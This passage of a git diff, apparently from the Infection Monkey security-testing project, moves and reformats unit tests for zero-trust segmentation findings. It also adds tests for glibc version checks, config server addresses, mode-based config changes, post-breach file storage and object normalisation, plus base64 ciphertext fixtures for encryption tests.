+ assert original_telem_single_result == expected_telem_single_result
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py
similarity index 63%
rename from monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py
rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py
index ca58549d1..aa67a5175 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py
@@ -4,8 +4,12 @@ import common.common_consts.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.finding import Finding
-from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import create_or_add_findings_for_all_pairs
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import (
+ create_or_add_findings_for_all_pairs,
+)
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
FIRST_SUBNET = "1.1.1.1"
SECOND_SUBNET = "2.2.2.0/24"
@@ -13,13 +17,10 @@ THIRD_SUBNET = "3.3.3.3-3.3.3.200"
class TestSegmentationChecks:
-
def test_create_findings_for_all_done_pairs(self):
all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET]
- monkey = Monkey(
- guid=str(uuid.uuid4()),
- ip_addresses=[FIRST_SUBNET])
+ monkey = Monkey(guid=str(uuid.uuid4()), ip_addresses=[FIRST_SUBNET])
# no findings
assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0
@@ -28,8 +29,9 @@ class TestSegmentationChecks:
create_or_add_findings_for_all_pairs(all_subnets, monkey)
# There are 2 subnets in which the monkey is NOT
- zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION,
- status=zero_trust_consts.STATUS_PASSED)
+ zt_seg_findings = Finding.objects(
+ test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED
+ )
# Assert that there's only one finding with multiple events (one for each subnet)
assert len(zt_seg_findings) == 1
@@ -39,17 +41,23 @@ class TestSegmentationChecks:
MonkeyZTFindingService.create_or_add_to_existing(
status=zero_trust_consts.STATUS_FAILED,
test=zero_trust_consts.TEST_SEGMENTATION,
- events=[Event.create_event(title="sdf",
- message="asd",
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)]
+ events=[
+ Event.create_event(
+ title="sdf",
+ message="asd",
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ )
+ ],
)
- zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION,
- status=zero_trust_consts.STATUS_PASSED)
+ zt_seg_findings = Finding.objects(
+ test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED
+ )
assert len(zt_seg_findings) == 1
- zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION,
- status=zero_trust_consts.STATUS_FAILED)
+ zt_seg_findings = Finding.objects(
+ test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED
+ )
assert len(zt_seg_findings) == 1
zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py
new file mode 100644
index 000000000..25869fd29
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py
@@ -0,0 +1,24 @@
+from unittest import TestCase
+
+from monkey_island.cc.services.bootloader import BootloaderService
+
+MIN_GLIBC_VERSION = 2.14
+
+
+class TestBootloaderService(TestCase):
+ def test_is_glibc_supported(self):
+ str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15"
+ str2 = "ldd (GNU libc) 2.12"
+ str3 = "ldd (GNU libc) 2.28"
+ str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23"
+ self.assertTrue(
+ not BootloaderService.is_glibc_supported(str1)
+ and not BootloaderService.is_glibc_supported(str2)
+ and BootloaderService.is_glibc_supported(str3)
+ and BootloaderService.is_glibc_supported(str4)
+ )
+
+ def test_remove_local_ips(self):
+ ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
+ ips = BootloaderService.remove_local_ips(ips)
+ self.assertEqual(["192.168.56.1"], ips)
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
new file mode 100644
index 000000000..799fc40e1
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py
@@ -0,0 +1,30 @@
+import pytest
+
+from monkey_island.cc.services.config import ConfigService
+
+# If tests fail because config path is changed, sync with
+# monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
+
+
+class MockClass:
+ pass
+
+
+@pytest.fixture(scope="function", autouse=True)
+def mock_port_in_env_singleton(monkeypatch, PORT):
+ mock_singleton = MockClass()
+ mock_singleton.env = MockClass()
+ mock_singleton.env.get_island_port = lambda: PORT
+ monkeypatch.setattr("monkey_island.cc.services.config.env_singleton", mock_singleton)
+
+
+def test_set_server_ips_in_config_command_servers(config, IPS, PORT):
+ ConfigService.set_server_ips_in_config(config)
+ expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS]
+ assert config["internal"]["island_server"]["command_servers"] == expected_config_command_servers
+
+
+def test_set_server_ips_in_config_current_server(config, IPS, PORT):
+ ConfigService.set_server_ips_in_config(config)
+ expected_config_current_server = f"{IPS[0]}:{PORT}"
+ assert config["internal"]["island_server"]["current_server"] == expected_config_current_server
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py
new file mode 100644
index 000000000..12cd44c10
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py
@@ -0,0 +1,26 @@
+from monkey_island.cc.services.config_manipulator import update_config_on_mode_set
+from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
+
+
+def test_update_config_on_mode_set_advanced(config, monkeypatch):
+ monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config)
+ monkeypatch.setattr(
+ "monkey_island.cc.services.config.ConfigService.update_config",
+ lambda config_json, should_encrypt: config_json,
+ )
+
+ mode = IslandModeEnum.ADVANCED
+ manipulated_config = update_config_on_mode_set(mode)
+ assert manipulated_config == config
+
+
+def test_update_config_on_mode_set_ransomware(config, monkeypatch):
+ monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config)
+ monkeypatch.setattr(
+ "monkey_island.cc.services.config.ConfigService.update_config",
+ lambda config_json, should_encrypt: config_json,
+ )
+
+ mode = IslandModeEnum.RANSOMWARE
+ manipulated_config = update_config_on_mode_set(mode)
+ assert manipulated_config["monkey"]["post_breach"]["post_breach_actions"] == []
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py
new file mode 100644
index 000000000..90a649a39
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py
@@ -0,0 +1,75 @@
+import os
+
+import pytest
+from tests.monkey_island.utils import assert_windows_permissions
+from tests.utils import raise_
+
+from monkey_island.cc.server_utils.file_utils import is_windows_os
+from monkey_island.cc.services.post_breach_files import PostBreachFilesService
+
+
+@pytest.fixture(autouse=True)
+def custom_pba_directory(tmpdir):
+ PostBreachFilesService.initialize(tmpdir)
+
+
+def create_custom_pba_file(filename):
+ PostBreachFilesService.save_file(filename, b"")
+
+
+def test_remove_pba_files():
+ create_custom_pba_file("linux_file")
+ create_custom_pba_file("windows_file")
+
+ assert not dir_is_empty(PostBreachFilesService.get_custom_pba_directory())
+ PostBreachFilesService.remove_PBA_files()
+ assert dir_is_empty(PostBreachFilesService.get_custom_pba_directory())
+
+
+def dir_is_empty(dir_path):
+ dir_contents = os.listdir(dir_path)
+ return len(dir_contents) == 0
+
+
+@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.")
+def test_custom_pba_dir_permissions_linux():
+ st = os.stat(PostBreachFilesService.get_custom_pba_directory())
+
+ assert st.st_mode == 0o40700
+
+
+@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.")
+def test_custom_pba_dir_permissions_windows():
+ pba_dir = PostBreachFilesService.get_custom_pba_directory()
+
+ assert_windows_permissions(pba_dir)
+
+
+def test_remove_failure(monkeypatch):
+ monkeypatch.setattr(os, "remove", lambda x: raise_(OSError("Permission denied")))
+
+ try:
+ create_custom_pba_file("windows_file")
+ PostBreachFilesService.remove_PBA_files()
+ except Exception as ex:
+ pytest.fail(f"Unxepected exception: {ex}")
+
+
+def test_remove_nonexistant_file(monkeypatch):
+ monkeypatch.setattr(os, "remove", lambda x: raise_(FileNotFoundError("FileNotFound")))
+
+ try:
+ PostBreachFilesService.remove_file("/nonexistant/file")
+ except Exception as ex:
+ pytest.fail(f"Unxepected exception: {ex}")
+
+
+def test_save_file():
+ FILE_NAME = "test_file"
+ FILE_CONTENTS = b"hello"
+ PostBreachFilesService.save_file(FILE_NAME, FILE_CONTENTS)
+
+ expected_file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), FILE_NAME)
+
+ assert os.path.isfile(expected_file_path)
+ assert FILE_CONTENTS == open(expected_file_path, "rb").read()
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py
new file mode 100644
index 000000000..c088c3dce
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py
@@ -0,0 +1,46 @@
+from datetime import datetime
+from unittest import TestCase
+
+import bson
+
+from monkey_island.cc.services.representations import normalize_obj
+
+
+class TestRepresentations(TestCase):
+ def test_normalize_obj(self):
+ # empty
+ self.assertEqual({}, normalize_obj({}))
+
+ # no special content
+ self.assertEqual({"a": "a"}, normalize_obj({"a": "a"}))
+
+ # _id field -> id field
+ self.assertEqual({"id": 12345}, normalize_obj({"_id": 12345}))
+
+ # obj id field -> str
+ obj_id_str = "123456789012345678901234"
+ self.assertEqual(
+ {"id": obj_id_str}, normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)})
+ )
+
+ # datetime -> str
+ dt = datetime.now()
+ expected = {"a": str(dt)}
+ result = normalize_obj({"a": dt})
+ self.assertEqual(expected, result)
+
+ # dicts and lists
+ self.assertEqual(
+ {"a": [{"ba": obj_id_str, "bb": obj_id_str}], "b": {"id": obj_id_str}},
+ normalize_obj(
+ {
+ "a": [
+ {
+ "ba": bson.objectid.ObjectId(obj_id_str),
+ "bb": bson.objectid.ObjectId(obj_id_str),
+ }
+ ],
+ "b": {"_id": bson.objectid.ObjectId(obj_id_str)},
+ }
+ ),
+ )
diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py
new file mode 100644
index 000000000..0fa7131e0
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py
@@ -0,0 +1,132 @@
+VALID_CIPHER_TEXT = (
+ "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"
+ "5pnm3dizp6Q="
+)
+
+MALFORMED_CIPHER_TEXT_CORRUPTED = (
+ "QUVTAgAAGM0NKEYTESTURfQlkAcHlBZXNDcnlwdCA2LjAuMACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEWlHUF5GTDFdrlGaUbFqGOBHE"
+ "/zlrkug3ee3t1iMe2ByaoBdb9O8X5bFEBUuiPSFUNe3f4YvgwCMx4Txh3Mzx"
+ "/LxxNioWSwon9gDw8JckpuMLJtmtdwDybpDtedF33XWBHgEpMlfyF"
+ "/phin3sVMWGApptTnGbzmP9o0c6toxwmZV5YcHAtoMsWh3WqpsdcmX5PwwrKt0vdYNwpX+bDOxdB7YJizWqYt"
+ "+505168UPbDFHhJ7lCXJ3lr56"
+ "/7ZwNF4NasjqehafV01KtuNhNT47wdyavI8EYGZmBhqVCTq79XzwY1OmqEgpaesaiyeJmeZwkf5/8OVYNEhA+ybixHF"
+ "/RCeBSUnjiTHRF+RyIX8OfY"
+ "/LTPNmpjbLcZ1fyP5F1VVwlNLeY1MBg3q0tzFy4NsgsvHdWAzeb1wCqAnKZrhCQ36DAaWrzH96tG4ARIFLqg1"
+ "+99b3Gk27UBGjYSfcTRTUU+tmj+ByfHk3DCVeX35MOFBWu7BCrw99PdlHdhIyGVE4pKgTj"
+ "+sKvQI60cUNznxk484dkbpKG7gQH7PHaf7xTYd543ByAs9LSIHjV3UBG"
+ "/h9DzlLlNl8sZgwwnQxE69yoPy4Nr9unbav4dGqXNWFkyTlqZfJ0GzzvhPL2DRRX0V18CuerYEdIv"
+ "/a7dh8cuy7CVVZ7BEG59INVkpo8XwJIFHJjQzvD+gUWQ4zXB+C15AogGCx"
+ "/7jWLAdpi36VjA03Avl6rxui55akq3d3gtsn0bSxmrhCgDteNB+x1"
+ "+r0WzN1gz4qsY8EejbGmgzJMC8l6TZFudU9FCpTy7XSQJlJ70Peg"
+ "/huVdayRYrzeuHb7j8XMXnyBiab19CUQ5q5u6kiRTl3X1umCK1Wkqk3CItpsbuPlXs7"
+ "+f3qNhf2ilVtsYKtNEnbY7HGo1e8nziV3ifa1YYNxOTD23A/UGpXHVm0aaXE8ywMFOqXIgjs30oYv5GFQ7L1DT"
+ "/ktL0a2u4ZFtFZq+6TS52+COU9bkwX+zVvKehiMf+xBINpW0+I1yEUTSr9vvpYmxi1ZY2DLzXm75vWXu5uQA"
+ "/pciFJiuAhfCn+DJFUHsT0LcMjHcnbtYrX8iqIPZpJMXAzhNNKBiq5pZMCfBvxLr5cOQLADj30TyrEpT+h"
+ "+YCDx1hVgDnoEeihpQotc3P5gQf50fJ5K236JSszgXPhZVTCc2GO7y9cVmE9OYUEgD3hDOODNN/3t8xXImVDHG"
+ "+h6TVhi7rKUdap767GQ1b4TUnolx3"
+ "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"
